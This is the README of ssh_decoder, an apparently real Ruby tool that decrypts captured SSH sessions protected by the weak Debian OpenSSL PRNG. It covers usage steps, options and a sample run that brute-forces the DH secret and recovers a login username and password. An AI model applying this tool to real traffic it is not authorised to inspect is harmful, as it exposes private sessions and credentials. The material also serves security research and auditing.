ssh_decoder v1.0
This tool can decipher captured SSH sessions where one of the two ends uses a vulnerable OpenSSL (debian OpenSSL PRNG vuln).
You will need ssh_kex_keygen (>= 1.1) to recover the DH shared secret.
How to use :
- get a capture (PCAP)
- use tcpick -wRC -wRS session.pcap
- ruby ssh_decoder.rb *.dat
- ???
- profit.
Common options (in fact ssh_kex_keygen options, see its README) :
-v : verbose (dump all ssh packets)
-s : consider the server as vulnerable (default)
-c : consider the client as vulnerable
-n : number of processes to bruteforce with (number of CPUs of your machine)
Example session :
$ ruby ssh_decoder.rb data/full_openssh*.dat -n 4
* read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha1, compr: none
* bruteforce DH
DH shared secret : 00c1eb39032ffcbfded4fd74b6884027419944dd72f5f2ca7acaec6ac7f4b46bb66765fd0ca073c1ccb6e7ec9cd8be91560f907818097c240e44b26025cdfd307298db51420da8793750da008233b92ac68e32d619cf739b1a8d31add5a787217741b7e6436eaf0fb4a33054f30f0d07cf571c24d583a6ed53fafe849203d82bd1
* derive keys
* decipher streams
* successful authentication packet
{:change=>0,
:password=>"toto",
:username=>"toto",
:nextservice=>"ssh-connection",
:auth_method=>"password"}
* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"
Known limitations :
- A few exotic ciphers are not implemented (quite unlikely to be used)
- Communications without group exchange (eg dropbear server) are not supported, but
shouldn't be hard to add (opensource at its best)
- Compression support is not tested, but should work
- `first_kex_follows' field ignored
Contact :
Raphaël Rigo : devel-ssh _!at!_ syscall.eu